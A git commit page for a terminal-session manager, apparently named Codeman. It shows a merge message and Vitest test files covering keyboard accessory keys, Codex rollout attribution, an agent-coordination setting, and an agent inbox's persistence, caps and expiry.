Merge master into feat/story-mode

Conflicts were additive registrations (types barrel, routes barrel, server,
index.html, settings keys, docs) plus three in session.ts:
- master's public claudeConfigDir() method replaces the branch's getter;
  Story Mode's route now calls it.
- writeViaMux keeps master's guarded-turn structure; the composer pairing
  (_notePastedPrompt) runs after _verifySubmitted in _writeViaMuxNow.
- the imports keep both sides.

Master now pastes a multi-line API prompt with its line breaks, so
_verifySubmitted keeps them too (the same text TmuxManager.sendInput pastes):
a prompt Claude Code shows as "[Pasted text #1 +3 lines]" is recognised by
its line count, and the CLAUDE.md gotcha no longer says it is missed.
The changeset and Settings Reference describe the three reading levels and
the prompt bar.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
This commit is contained in:
Codeman maintainer committed 2026-11-13 20:29:05 +01:00
commit a516a3d106
775 files changed
+168958 -7674

No files matched your search

+105
View File
@@ -0,0 +1,105 @@
/**
* @fileoverview Accessory keys that keep the keyboard up must not take focus on
* press. A tap used to blur the terminal's textarea and the click handler then
* refocused it, so every arrow/Tab/Esc tap started a keyboard dismissal. The bar
* now cancels the mousedown default for exactly those keys (and the first,
* arming tap of clear/compact); every other key keeps the old behavior.
*
* Loaded with `vm` against a minimal fake DOM, like the other accessory-bar tests.
*/
import { readFileSync } from 'node:fs';
import { resolve } from 'node:path';
import vm from 'node:vm';
import { describe, expect, it, vi } from 'vitest';
type Listener = (e: unknown) => void;
type Bar = {
init(): void;
_confirmAction: string | null;
syncReadMyMind(): void;
syncCodexKeys(): void;
_syncComposerDraftIndicator(): void;
};
function loadBar() {
const listeners: Record<string, Listener> = {};
const element = {
className: '',
innerHTML: '',
addEventListener: (type: string, fn: Listener) => {
listeners[type] = fn;
},
};
const context = vm.createContext({
console,
document: { createElement: () => element, querySelector: () => null },
MobileDetection: { isTouchDevice: () => true },
localStorage: { getItem: () => null, setItem: () => {} },
});
vm.runInContext(
`${readFileSync(resolve('src/web/public/keyboard-accessory.js'), 'utf8')}\nglobalThis.__bar = KeyboardAccessoryBar;`,
context
);
const bar = (context as unknown as { __bar: Bar }).__bar;
bar.syncReadMyMind = () => {};
bar.syncCodexKeys = () => {};
bar._syncComposerDraftIndicator = () => {};
bar.init();
// `null` is a press on the bar itself (padding, a gap): closest() finds no key.
const press = (action: string | null) => {
const preventDefault = vi.fn();
listeners.mousedown({
target: { closest: () => (action === null ? null : { dataset: { action } }) },
preventDefault,
});
return preventDefault.mock.calls.length > 0;
};
return { bar, press };
}
describe('accessory keys keep the terminal focused on press', () => {
it('cancels the press default for keys that leave the keyboard up', () => {
const { press } = loadBar();
for (const action of [
'scroll-up',
'scroll-down',
'arrow-left',
'arrow-right',
'tab',
'shift-tab',
'shift-left',
'shift-right',
'ctrl',
'ctrl-o',
'opt-enter',
'esc',
'effort-max',
'clear-input',
]) {
expect(press(action), action).toBe(true);
}
});
it('leaves keys that move focus or dismiss the keyboard alone', () => {
const { press } = loadBar();
for (const action of ['compose', 'readmymind', 'pick-path', 'paste', 'dismiss', 'init']) {
expect(press(action), action).toBe(false);
}
});
it('cancels only the arming tap of clear/compact, not the confirming one', () => {
const { bar, press } = loadBar();
bar._confirmAction = null;
expect(press('clear')).toBe(true);
bar._confirmAction = 'clear';
expect(press('clear')).toBe(false);
expect(press('compact')).toBe(true);
bar._confirmAction = 'compact';
expect(press('compact')).toBe(false);
});
it('ignores a press outside a key', () => {
const { press } = loadBar();
expect(press(null)).toBe(false);
});
});
+4 -1
View File
@@ -189,10 +189,13 @@ describe('admin case-folder API', () => {
expect(sl.status).toBe(400);
await expect(fs.stat(path.join(spacesDir, 'outside'))).resolves.toBeTruthy();
// A real folder is deleted.
// A real folder is deleted, and kim's default session group for it goes with it.
const store = (server as unknown as { store: import('../src/state-store.js').StateStore }).store;
store.setCaseDefaultGroup('kim', 'proj1', null);
const del = await fetch(url('/api/admin/users/kim/cases/proj1'), { method: 'DELETE', headers: adminNoBody });
expect(del.status).toBe(200);
await expect(fs.stat(path.join(spacesDir, 'kim', 'cases', 'proj1'))).rejects.toBeTruthy();
expect(store.getCaseDefaultGroup('kim', 'proj1')).toBeUndefined();
// Deleting it again 404s.
const gone = await fetch(url('/api/admin/users/kim/cases/proj1'), { method: 'DELETE', headers: adminNoBody });
+253
View File
@@ -0,0 +1,253 @@
/** @fileoverview Strict bounded native rollout attribution without viewer heuristics. */
import { afterEach, beforeEach, describe, expect, it } from 'vitest';
import { mkdtemp, mkdir, writeFile, rm, symlink } from 'node:fs/promises';
import { join } from 'node:path';
import { tmpdir } from 'node:os';
import {
__clearCodexAttributionMemo,
findExactCodexConversation,
resolveEffectiveCodexHome,
} from '../src/agent-codex-identity.js';
const roots: string[] = [];
afterEach(async () => {
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })));
});
const A = '11111111-1111-4111-8111-111111111111';
const B = '22222222-2222-4222-8222-222222222222';
async function fixture() {
const root = await mkdtemp(join(tmpdir(), 'agent-attribution-'));
roots.push(root);
const home = join(root, 'home');
await mkdir(join(home, 'sessions'), { recursive: true });
const options = { codexHome: home, sessionId: 'managed', workingDir: root };
const put = async (id: string, payload: object = {}, text?: string) => {
const path = join(home, 'sessions', `rollout-${id}.jsonl`);
await writeFile(
path,
text ??
JSON.stringify({
type: 'session_meta',
payload: { id, cwd: root, originator: 'codeman_managed', ...payload },
}) + '\n'
);
return path;
};
return { root, home, options, put };
}
it('requires one complete native session_meta matching the rollout ID, managed originator and canonical workspace', async () => {
const f = await fixture();
const path = await f.put(A);
expect(await findExactCodexConversation(f.options)).toEqual({ id: A, path });
await f.put(A, { id: B });
expect(await findExactCodexConversation(f.options)).toBeUndefined();
});
it('never chooses newest cwd files or an ambiguous managed originator', async () => {
const f = await fixture();
await f.put(A, { originator: 'codex_cli' });
expect(await findExactCodexConversation(f.options)).toBeUndefined();
await f.put(A);
await f.put(B);
expect(await findExactCodexConversation(f.options)).toBeUndefined();
});
it('allows an explicit resume identity but still requires native metadata and the workspace', async () => {
const f = await fixture();
const path = await f.put(A, { originator: 'original-launch' });
expect(await findExactCodexConversation({ ...f.options, resumeSessionId: A })).toEqual({ id: A, path });
await f.put(B);
expect(await findExactCodexConversation({ ...f.options, resumeSessionId: A })).toBeUndefined();
await f.put(A, { cwd: f.home });
expect(await findExactCodexConversation({ ...f.options, resumeSessionId: A })).toBeUndefined();
});
it.each(['partial', 'duplicate', 'oversized'] as const)('refuses %s metadata', async (kind) => {
const f = await fixture();
const row = JSON.stringify({ type: 'session_meta', payload: { id: A, cwd: f.root, originator: 'codeman_managed' } });
await f.put(
A,
{},
kind === 'partial'
? row
: kind === 'duplicate'
? row + '\n' + row + '\n'
: row.slice(0, -2) + ',"instructions":"' + 'x'.repeat(140000) + '"}}\n'
);
expect(await findExactCodexConversation(f.options)).toBeUndefined();
});
it('enforces traversal/read caps and ignores symlinked directories', async () => {
const f = await fixture();
await f.put(A);
expect(await findExactCodexConversation(f.options, { maxEntries: 0, maxBytes: 1048576 })).toBeUndefined();
expect(await findExactCodexConversation(f.options, { maxEntries: 8192, maxBytes: 128 })).toBeUndefined();
await mkdir(join(f.root, 'elsewhere'));
await symlink(join(f.root, 'elsewhere'), join(f.home, 'sessions', 'alias'));
expect((await findExactCodexConversation(f.options))?.id).toBe(A);
});
it('resolves per-session, process and default CODEX_HOME relative to the session workspace', () => {
expect(resolveEffectiveCodexHome('custom', '/tmp/work', { CODEX_HOME: '/other' })).toBe('/tmp/work/custom');
expect(resolveEffectiveCodexHome(undefined, '/tmp/work', { CODEX_HOME: 'process' })).toBe('/tmp/work/process');
expect(resolveEffectiveCodexHome(undefined, '/tmp/work', { HOME: '/tmp/user' })).toBe('/tmp/user/.codex');
});
it.each([
['trailing-space', 'codex-home ', 'codex-home'],
['whitespace-only', ' ', '.codex'],
])(
'keeps the raw %s CODEX_HOME namespace through the Session getter and attribution helper',
async (_label, configured, wrongHome) => {
const { Session } = await import('../src/session.js');
const f = await fixture();
const expectedHome = join(f.root, configured);
const siblingHome = join(f.root, wrongHome);
const record =
JSON.stringify({ type: 'session_meta', payload: { id: A, cwd: f.root, originator: 'codeman_managed' } }) + '\n';
for (const home of [expectedHome, siblingHome]) {
await mkdir(join(home, 'sessions'), { recursive: true });
await writeFile(join(home, 'sessions', `rollout-${A}.jsonl`), record);
}
const session = new Session({
id: 'managed',
workingDir: f.root,
mode: 'codex',
envOverrides: { CODEX_HOME: configured },
});
try {
const codexHome = resolveEffectiveCodexHome(session.getCodexHomeOverride(), session.workingDir, { HOME: f.root });
expect(await findExactCodexConversation({ ...f.options, codexHome })).toEqual({
id: A,
path: join(expectedHome, 'sessions', `rollout-${A}.jsonl`),
});
expect(session.getCodexHomeOverride()).toBe(configured);
} finally {
await session.stop(false);
}
}
);
it('attributes an owned rollout among 320 unrelated full-size metadata prefixes', async () => {
const f = await fixture();
const path = await f.put(A);
await Promise.all(
Array.from({ length: 320 }, (_, n) => {
const id = `10000000-1111-4111-8111-${String(n).padStart(12, '0')}`;
return f.put(id, { originator: 'codex_cli', instructions: 'x'.repeat(5000) });
})
);
expect(await findExactCodexConversation(f.options)).toEqual({ id: A, path });
expect(
await findExactCodexConversation(f.options, { maxEntries: 8192, maxBytes: 1048576, maxPrefixBytes: 4096 })
).toBeUndefined();
});
it.each(['workspace', 'metadata'] as const)(
'probes %s bounded past the cap before canonical filesystem reads',
async (where) => {
const { vi } = await import('vitest');
const probe = await import('../src/utils/bounded-path-probe.js');
const f = await fixture();
const alias = join(f.root, 'workspace-alias');
await symlink(f.root, alias);
await f.put(A, { cwd: where === 'metadata' ? alias : f.root });
const blocked = where === 'workspace' ? f.root : alias;
const spy = vi
.spyOn(probe, 'probePathKind')
.mockImplementation(async (path) => (path === blocked ? 'unknown' : 'directory'));
try {
expect(await findExactCodexConversation(f.options)).toBeUndefined();
expect(spy).toHaveBeenCalledWith(blocked, { pastCap: true });
} finally {
spy.mockRestore();
}
}
);
describe('remembered attribution on a large, never-pruned store', () => {
beforeEach(() => __clearCodexAttributionMemo());
const OWNED = '33333333-3333-4333-8333-333333333333';
const NEWER = '44444444-4444-4444-8444-444444444444';
/** codex's own layout: sessions/YYYY/MM/DD/rollout-<ts>-<uuid>.jsonl */
async function dated(f: Awaited<ReturnType<typeof fixture>>, day: string, id: string, payload: object = {}) {
const dir = join(f.home, 'sessions', ...day.split('/'));
await mkdir(dir, { recursive: true });
const path = join(dir, `rollout-${day.replaceAll('/', '-')}T00-00-00-${id}.jsonl`);
await writeFile(
path,
JSON.stringify({
type: 'session_meta',
payload: { id, cwd: f.root, originator: 'codeman_managed', ...payload },
}) + '\n'
);
return path;
}
/** `count` unrelated 19 KiB rollouts (a real session_meta size) spread over older days. */
async function unrelated(f: Awaited<ReturnType<typeof fixture>>, count: number) {
const instructions = 'x'.repeat(19 * 1024);
for (let start = 0; start < count; start += 200) {
await Promise.all(
Array.from({ length: Math.min(200, count - start) }, (_, k) => {
const n = start + k;
const day = `2026/${String(1 + (n % 9)).padStart(2, '0')}/${String(1 + (n % 28)).padStart(2, '0')}`;
return dated(f, day, `10000000-1111-4111-8111-${String(n).padStart(12, '0')}`, {
originator: 'codex_cli',
instructions,
});
})
);
}
}
const small = { maxEntries: 20, maxBytes: 1048576 };
it('attributes one owned rollout beside 2,100 unrelated full-size rollouts', async () => {
const f = await fixture();
await unrelated(f, 2100);
const path = await dated(f, '2026/10/24', OWNED);
expect(await findExactCodexConversation(f.options)).toEqual({ id: OWNED, path });
}, 60_000);
it('re-verifies only the remembered file on a later call instead of re-walking the store', async () => {
const f = await fixture();
await unrelated(f, 300);
const path = await dated(f, '2026/10/24', OWNED);
expect(await findExactCodexConversation(f.options)).toEqual({ id: OWNED, path });
// 20 entries cannot cover 300 rollouts in 9 months of day directories: only the
// remembered head plus the directories not older than it fit.
expect(await findExactCodexConversation(f.options, small)).toEqual({ id: OWNED, path });
__clearCodexAttributionMemo();
expect(await findExactCodexConversation(f.options, small)).toBeUndefined();
});
it('still catches a newer owned rollout (codex /new) after remembering one', async () => {
const f = await fixture();
await unrelated(f, 50);
const path = await dated(f, '2026/10/24', OWNED);
expect(await findExactCodexConversation(f.options)).toEqual({ id: OWNED, path });
await dated(f, '2026/10/25', NEWER);
expect(await findExactCodexConversation(f.options, small)).toBeUndefined();
expect(await findExactCodexConversation(f.options)).toBeUndefined();
});
it('answers unattributed, without a full walk, when the remembered file verifies but its incremental scan runs out', async () => {
const f = await fixture();
const path = await dated(f, '2026/10/24', OWNED);
expect(await findExactCodexConversation(f.options)).toEqual({ id: OWNED, path });
// 30 rollouts in the remembered day itself: the incremental scan reads them all,
// so 20 entries cannot cover it, and a full walk (a superset) could not either.
await Promise.all(
Array.from({ length: 30 }, (_, n) =>
dated(f, '2026/10/24', `20000000-2222-4222-8222-${String(n).padStart(12, '0')}`, { originator: 'codex_cli' })
)
);
expect(await findExactCodexConversation(f.options, small)).toBeUndefined();
// The memo was dropped, so a call with room walks the store and attributes again.
expect(await findExactCodexConversation(f.options)).toEqual({ id: OWNED, path });
});
it('drops the remembered file when it is replaced, and walks again', async () => {
const f = await fixture();
const path = await dated(f, '2026/10/24', OWNED);
expect(await findExactCodexConversation(f.options)).toEqual({ id: OWNED, path });
await rm(path);
await dated(f, '2026/10/24', OWNED, { originator: 'codex_cli' });
expect(await findExactCodexConversation(f.options)).toBeUndefined();
const moved = await dated(f, '2026/10/23', NEWER);
expect(await findExactCodexConversation(f.options)).toEqual({ id: NEWER, path: moved });
});
});
+90
View File
@@ -0,0 +1,90 @@
/**
* @fileoverview The synced `agentCoordinationEnabled` setting (default OFF) that gates the
* experimental inspect/stage/submit routes: the strict settings schema admits it, App
* Settings loads and saves it under the same control id, and its row reads in Chinese
* (zh-CN) with no English left beyond the command and product names. The route gate itself
* is pinned in test/routes/agent-session-routes.test.ts.
*
* Port: N/A.
*/
import { readFileSync } from 'node:fs';
import { resolve } from 'node:path';
import vm from 'node:vm';
import { JSDOM } from 'jsdom';
import { afterAll, describe, expect, it } from 'vitest';
import { SettingsUpdateSchema } from '../src/web/schemas.js';
const PUBLIC = resolve(import.meta.dirname, '../src/web/public');
const I18N = readFileSync(resolve(PUBLIC, 'i18n.js'), 'utf8');
const INDEX = readFileSync(resolve(PUBLIC, 'index.html'), 'utf8');
const SETTINGS_UI = readFileSync(resolve(PUBLIC, 'settings-ui.js'), 'utf8');
const ID = 'appSettingsAgentCoordination';
type Api = { configure(o: Record<string, string>): void; start(): void };
/** What may stay Latin: the product, CLI, key and protocol names and the three commands. */
const leftover = (text: string) =>
text.replace(/\b(Codex|Enter|HTTP|inspect|stage|submit)\b/g, '').match(/[A-Za-z]+/g) ?? [];
function rowStrings(doc: Document): { label: string; description: string } {
const row = doc.getElementById(ID)!.closest('.set-row')!;
return {
label: row.querySelector('.set-row-label')!.textContent!.trim(),
description: row.querySelector('.set-row-desc')!.textContent!.trim(),
};
}
const source = new JSDOM(INDEX);
const english = rowStrings(source.window.document);
const dom = new JSDOM(INDEX, { runScripts: 'outside-only', url: 'http://localhost/' });
vm.runInContext(I18N, dom.getInternalVMContext(), { filename: 'i18n.js' });
const api = (dom.window as unknown as { CodemanI18n: Api }).CodemanI18n;
api.start();
api.configure({ language: 'zh-CN' });
const chinese = rowStrings(dom.window.document);
afterAll(() => {
source.window.close();
dom.window.close();
});
describe('agentCoordinationEnabled', () => {
it('is a boolean the strict settings schema accepts, and nothing else', () => {
expect(SettingsUpdateSchema.safeParse({ agentCoordinationEnabled: true }).success).toBe(true);
expect(SettingsUpdateSchema.safeParse({ agentCoordinationEnabled: false }).success).toBe(true);
expect(SettingsUpdateSchema.safeParse({ agentCoordinationEnabled: 'yes' }).success).toBe(false);
});
it('has one checkbox in App Settings, loaded only from an explicit true and saved by id', () => {
expect(INDEX.split(`id="${ID}"`)).toHaveLength(2);
expect(source.window.document.getElementById(ID)!.getAttribute('type')).toBe('checkbox');
expect(SETTINGS_UI).toContain(
`document.getElementById('${ID}').checked = settings.agentCoordinationEnabled === true;`
);
expect(SETTINGS_UI).toContain(`agentCoordinationEnabled: document.getElementById('${ID}').checked,`);
});
it('sits in the synced Cross-session features group', () => {
const group = source.window.document.getElementById(ID)!.closest('.set-group')!;
expect(group.querySelector('.set-group-head h4')!.textContent).toBe('Cross-session features');
expect(group.querySelector('.set-group-head .set-scope')!.textContent).toBe('synced');
});
it('finds the row (the translation check is not vacuous)', () => {
expect(english.label).toBe('Experimental agent coordination');
expect(english.description).toMatch(/^Lets agents read another session's output/);
});
it('translates the label and the description, with no English left', () => {
for (const key of ['label', 'description'] as const) {
expect(chinese[key]).not.toBe(english[key]);
expect(leftover(chinese[key])).toEqual([]);
}
});
it('adds each key to the dictionary once', () => {
for (const text of [english.label, english.description]) {
expect(I18N.split(`'${text}'`).length + I18N.split(`"${text}"`).length - 2).toBe(1);
}
});
});
+104
View File
@@ -0,0 +1,104 @@
/**
* @fileoverview Opt-in agent inbox snapshot (src/web/agent-inbox-persistence.ts).
*
* Off writes nothing, switching off deletes the file and keeps memory, on writes 0600
* through tmp + rename, and a boot with the setting on restores what was pending.
*/
import { describe, it, expect, beforeEach, afterEach } from 'vitest';
import { existsSync, mkdtempSync, readFileSync, rmSync, statSync, writeFileSync } from 'node:fs';
import { join } from 'node:path';
import { tmpdir } from 'node:os';
import { AgentInbox } from '../src/web/agent-inbox.js';
import { AgentInboxPersistence } from '../src/web/agent-inbox-persistence.js';
describe('AgentInboxPersistence', () => {
let dir: string;
let file: string;
let inbox: AgentInbox;
let persistence: AgentInboxPersistence;
beforeEach(() => {
dir = mkdtempSync(join(tmpdir(), 'codeman-inbox-'));
file = join(dir, 'agent-inbox.json');
inbox = new AgentInbox();
// Debounce 0 so a test can wait one macrotask instead of sleeping.
persistence = new AgentInboxPersistence(inbox, () => file, 0);
});
afterEach(() => {
persistence.dispose();
rmSync(dir, { recursive: true, force: true });
});
const tick = () => new Promise((r) => setTimeout(r, 5));
it('writes nothing while off (the default)', async () => {
persistence.load(false);
inbox.post('s', null, 'hello');
await tick();
expect(existsSync(file)).toBe(false);
});
it('writes a 0600 snapshot when on, and no tmp file is left behind', async () => {
persistence.load(true);
inbox.post('s', null, 'hello');
await tick();
expect(JSON.parse(readFileSync(file, 'utf-8')).inboxes.s[0].text).toBe('hello');
expect(statSync(file).mode & 0o777).toBe(0o600);
expect(existsSync(`${file}.tmp`)).toBe(false);
});
it('switching on writes the current inboxes at once', () => {
persistence.load(false);
inbox.post('s', null, 'posted while off');
persistence.setEnabled(true);
expect(JSON.parse(readFileSync(file, 'utf-8')).inboxes.s).toHaveLength(1);
});
it('switching off deletes the snapshot and keeps the in-memory inboxes', async () => {
persistence.load(true);
inbox.post('s', null, 'hello');
await tick();
expect(existsSync(file)).toBe(true);
persistence.setEnabled(false);
expect(existsSync(file)).toBe(false);
expect(inbox.pendingCount('s')).toBe(1);
inbox.post('s', null, 'after off');
await tick();
expect(existsSync(file)).toBe(false);
});
it('a boot with the setting on restores pending mail', async () => {
persistence.load(true);
inbox.post('s', 'sender', 'survives');
await tick();
persistence.dispose();
const next = new AgentInbox();
const nextPersistence = new AgentInboxPersistence(next, () => file, 0);
expect(nextPersistence.load(true)).toBe(1);
expect(next.read('s', { receiver: false }).messages[0]).toMatchObject({ from: 'sender', text: 'survives' });
nextPersistence.dispose();
});
it('a boot with the setting off removes a file left from earlier and restores nothing', () => {
writeFileSync(file, JSON.stringify({ version: 1, inboxes: { s: [] } }));
expect(persistence.load(false)).toBe(0);
expect(existsSync(file)).toBe(false);
});
it('an unreadable file is an empty inbox, not a failed boot', () => {
writeFileSync(file, '{not json');
expect(persistence.load(true)).toBe(0);
});
it('flush writes a pending change before shutdown', () => {
const slow = new AgentInboxPersistence(inbox, () => file, 60_000);
slow.load(true);
inbox.post('s', null, 'just before shutdown');
expect(existsSync(file)).toBe(false);
slow.flush();
expect(JSON.parse(readFileSync(file, 'utf-8')).inboxes.s).toHaveLength(1);
slow.dispose();
});
});
+115
View File
@@ -0,0 +1,115 @@
/**
* @fileoverview How server.ts treats the agent inbox across a session's lifecycle.
*
* - Delete (`killMux=true`) drops the inbox; detach and shutdown (`killMux=false`)
* keep it, because a detached session comes back.
* - Boot pruning of orphaned inboxes runs only after a successful restore, and keeps
* every session state.json still holds plus every session on the reboot-restore
* offer (its record is already pruned, and a rebuild reuses the id). A failed
* restore leaves all mail alone.
*
* Uses a bare `WebServer.prototype` object with just the fields these paths touch,
* like tab-layout-restore-gate.test.ts.
*/
import { describe, it, expect, beforeEach, afterEach } from 'vitest';
import { WebServer } from '../src/web/server.js';
import { agentInbox } from '../src/web/agent-inbox.js';
import { rebootRestoreRegistry } from '../src/web/reboot-restore-registry.js';
import type { RebootRestoreEntry } from '../src/reboot-restore.js';
import type { SessionState } from '../src/types.js';
type CleanupServer = {
_doCleanupSession(sessionId: string, killMux: boolean, reason?: string): Promise<void>;
finalizeRestoredState(restored: boolean): Promise<void>;
[key: string]: unknown;
};
function bareServer(live: string[] = [], persisted: string[] = []): CleanupServer {
const server = Object.create(WebServer.prototype) as CleanupServer;
Object.assign(server, {
sessions: new Map(live.map((id) => [id, {}])),
keepWarmService: { remove: () => {} },
gitFetchScheduler: { remove: () => {} },
store: {
getSession: () => null,
getSessions: () => Object.fromEntries(persisted.map((id) => [id, {}])),
removeRalphState: () => {},
},
tabLayouts: {
markRestorationComplete: () => {},
markRestorationFailed: () => {},
reconcileAfterRestoration: async () => {},
},
cleanupStaleSessions: async () => 0,
_customModelDisplacedNotified: new Set(),
respawnControllers: new Map(),
respawnTimers: new Map(),
pendingRespawnStarts: new Map(),
runSummaryTrackers: new Map(),
stopTranscriptWatcher: () => {},
persistDeb: { cancelKey: () => {} },
sse: { cleanupSessionBatches: () => {} },
// A real delete also tells the Discord bridge, which frees its per-tab state and may archive the thread.
discordBridge: { sessionDeleted: async () => {}, forgetTab: () => {} },
broadcast: () => {},
});
return server;
}
/** A reboot-restore offer entry; the prune reads only its `sessionId`. */
function offerEntry(sessionId: string): RebootRestoreEntry {
return {
sessionId,
workingDir: `/tmp/codeman-agent-inbox-offer/${sessionId}`,
mode: 'claude',
resumeConversationId: `conv-${sessionId}`,
state: { id: sessionId, workingDir: `/tmp/codeman-agent-inbox-offer/${sessionId}` } as SessionState,
};
}
describe('agent inbox server wiring', () => {
beforeEach(() => agentInbox.resetForTests());
afterEach(() => {
agentInbox.resetForTests();
rebootRestoreRegistry.reset();
});
it('a delete drops the inbox; a detach (killMux=false) keeps it', async () => {
const server = bareServer();
agentInbox.post('detached', null, 'still here after detach');
agentInbox.post('deleted', null, 'gone with the session');
await server._doCleanupSession('detached', false, 'test');
await server._doCleanupSession('deleted', true, 'test');
expect(agentInbox.pendingCount('detached')).toBe(1);
expect(agentInbox.pendingCount('deleted')).toBe(0);
});
it('a failed restore prunes nothing', async () => {
const server = bareServer();
agentInbox.post('not-restored', null, 'm');
await server.finalizeRestoredState(false);
expect(agentInbox.pendingCount('not-restored')).toBe(1);
});
it('a successful restore prunes orphans and keeps live and persisted sessions', async () => {
const server = bareServer(['live'], ['kept-for-recovery']);
for (const id of ['live', 'kept-for-recovery', 'orphan']) agentInbox.post(id, null, 'm');
await server.finalizeRestoredState(true);
expect(agentInbox.pendingCount('live')).toBe(1);
expect(agentInbox.pendingCount('kept-for-recovery')).toBe(1);
expect(agentInbox.pendingCount('orphan')).toBe(0);
});
it('a successful restore keeps the inbox of a session on the reboot-restore offer', async () => {
// After a host reboot the dead session is in neither `this.sessions` nor state.json
// (cleanupStaleSessions already pruned its record), only in the offer, and the
// rebuild reuses its id, so its mail must still be there when it comes back.
const server = bareServer();
rebootRestoreRegistry.set([offerEntry('on-offer')]);
for (const id of ['on-offer', 'orphan']) agentInbox.post(id, null, 'm');
await server.finalizeRestoredState(true);
expect(rebootRestoreRegistry.list(() => true).map((e) => e.sessionId)).toEqual(['on-offer']);
expect(agentInbox.pendingCount('on-offer')).toBe(1);
expect(agentInbox.pendingCount('orphan')).toBe(0);
});
});
+279
View File
@@ -0,0 +1,279 @@
/**
* @fileoverview The agent inbox store (src/web/agent-inbox.ts), pure: no routes, no IO.
*
* Each block pins one rule from discussion #558: read until ack, seen only for the
* receiver, byte and count caps that refuse instead of dropping, a TTL counted from
* each message's own timestamp, and a snapshot that survives malformed input.
*/
import { describe, it, expect, beforeEach } from 'vitest';
import {
AgentInbox,
MAX_INBOX_BYTES,
MAX_MESSAGE_BYTES,
MAX_MESSAGES_PER_INBOX,
MESSAGE_TTL_MS,
} from '../src/web/agent-inbox.js';
const RX = 'receiver-session';
describe('AgentInbox', () => {
let now: number;
let inbox: AgentInbox;
beforeEach(() => {
now = 1_000_000;
inbox = new AgentInbox(() => now);
});
const post = (text: string, from: string | null = 'sender') => {
const r = inbox.post(RX, from, text);
if (!r.ok) throw new Error(`post refused: ${r.reason}`);
return r.message;
};
describe('read until ack', () => {
it('a read removes nothing; the same messages come back until acked', () => {
const a = post('first');
const b = post('second');
expect(inbox.read(RX, { receiver: true }).messages.map((m) => m.id)).toEqual([a.id, b.id]);
expect(inbox.read(RX, { receiver: true }).messages.map((m) => m.id)).toEqual([a.id, b.id]);
expect(inbox.pendingCount(RX)).toBe(2);
expect(inbox.ack(RX, [a.id])).toBe(1);
expect(inbox.read(RX, { receiver: true }).messages.map((m) => m.id)).toEqual([b.id]);
});
it('ack is idempotent: an id that is already gone or never existed is not an error', () => {
const a = post('x');
expect(inbox.ack(RX, [a.id])).toBe(1);
expect(inbox.ack(RX, [a.id])).toBe(0);
expect(inbox.ack(RX, ['no-such-id'])).toBe(0);
expect(inbox.ack('no-such-session', [a.id])).toBe(0);
});
it('ack removes only the given ids, never a message posted after the read', () => {
const a = post('read me');
inbox.read(RX, { receiver: true });
const late = post('arrived after the read');
inbox.ack(RX, [a.id]);
expect(inbox.read(RX, { receiver: false }).messages.map((m) => m.id)).toEqual([late.id]);
});
it('keeps multi-line text byte for byte', () => {
const text = 'line one\nline two\r\n\ttabbed\n';
post(text);
expect(inbox.read(RX, { receiver: true }).messages[0].text).toBe(text);
});
});
describe('seen belongs to the receiver', () => {
it('a receiver read marks seen; the flag on each message is the state BEFORE this read', () => {
post('m');
const first = inbox.read(RX, { receiver: true });
expect(first.messages[0].seen).toBe(false);
expect(first.unseen).toBe(0);
const second = inbox.read(RX, { receiver: true });
expect(second.messages[0].seen).toBe(true);
});
it('a peek changes nothing: unseen stays unseen', () => {
post('m');
const peek = inbox.read(RX, { receiver: false });
expect(peek.messages[0].seen).toBe(false);
expect(peek.unseen).toBe(1);
expect(inbox.unseenCount(RX)).toBe(1);
expect(inbox.summary().get(RX)).toMatchObject({ pending: 1, unseen: 1 });
});
it('a message posted after a receiver read is unseen again', () => {
post('a');
inbox.read(RX, { receiver: true });
expect(inbox.unseenCount(RX)).toBe(0);
post('b');
expect(inbox.unseenCount(RX)).toBe(1);
});
});
describe('caps refuse, never drop the oldest', () => {
it(`refuses message ${MAX_MESSAGES_PER_INBOX + 1} and keeps the first one`, () => {
const first = post('0');
for (let i = 1; i < MAX_MESSAGES_PER_INBOX; i++) post(String(i));
expect(inbox.post(RX, null, 'one too many')).toEqual({ ok: false, reason: 'inbox-full-count' });
const ids = inbox.read(RX, { receiver: false }).messages.map((m) => m.id);
expect(ids).toHaveLength(MAX_MESSAGES_PER_INBOX);
expect(ids[0]).toBe(first.id);
});
it('counts the per-message cap in UTF-8 bytes, not characters', () => {
// 'é' is 2 bytes: half the byte budget in characters already fills it.
expect(inbox.post(RX, null, 'é'.repeat(MAX_MESSAGE_BYTES / 2)).ok).toBe(true);
expect(inbox.post(RX, null, 'é'.repeat(MAX_MESSAGE_BYTES / 2 + 1))).toEqual({
ok: false,
reason: 'message-too-large',
});
});
it('refuses a post that would cross the per-inbox byte cap', () => {
const chunk = 'x'.repeat(MAX_MESSAGE_BYTES);
const fit = Math.floor(MAX_INBOX_BYTES / MAX_MESSAGE_BYTES);
for (let i = 0; i < fit; i++) post(chunk);
expect(inbox.post(RX, null, 'x'.repeat(MAX_INBOX_BYTES - fit * MAX_MESSAGE_BYTES + 1))).toEqual({
ok: false,
reason: 'inbox-full-bytes',
});
expect(inbox.pendingCount(RX)).toBe(fit);
});
it('an ack makes room again', () => {
const ids: string[] = [];
for (let i = 0; i < MAX_MESSAGES_PER_INBOX; i++) ids.push(post(String(i)).id);
inbox.ack(RX, [ids[0]]);
expect(inbox.post(RX, null, 'now it fits').ok).toBe(true);
});
it('refuses empty text', () => {
expect(inbox.post(RX, null, '')).toEqual({ ok: false, reason: 'empty' });
});
});
describe('TTL from the message timestamp', () => {
it('a message older than the TTL is gone, read or not', () => {
post('old');
now += MESSAGE_TTL_MS / 2;
const fresh = post('fresh');
now += MESSAGE_TTL_MS / 2 + 1;
expect(inbox.read(RX, { receiver: false }).messages.map((m) => m.id)).toEqual([fresh.id]);
});
it('a restore keeps createdAt, so a restart does not restart the clock', () => {
post('m');
const snap = JSON.parse(JSON.stringify(inbox.snapshot()));
now += MESSAGE_TTL_MS - 1000;
const restarted = new AgentInbox(() => now);
expect(restarted.restore(snap)).toBe(1);
now += 1001;
expect(restarted.pendingCount(RX)).toBe(0);
});
it('does not restore a message that expired while the server was down', () => {
post('m');
const snap = inbox.snapshot();
now += MESSAGE_TTL_MS + 1;
expect(new AgentInbox(() => now).restore(snap)).toBe(0);
});
it('sweeps an expired message that is not first (clock stepped back)', () => {
const late = post('posted first, stamped later');
now -= 1000; // the clock steps back
const early = post('posted second, stamped earlier');
now += MESSAGE_TTL_MS + 1000 - (late.createdAt - early.createdAt) / 2;
// `early` is past the TTL, `late` is not, and `early` sits behind `late`.
expect(inbox.read(RX, { receiver: false }).messages.map((m) => m.id)).toEqual([late.id]);
});
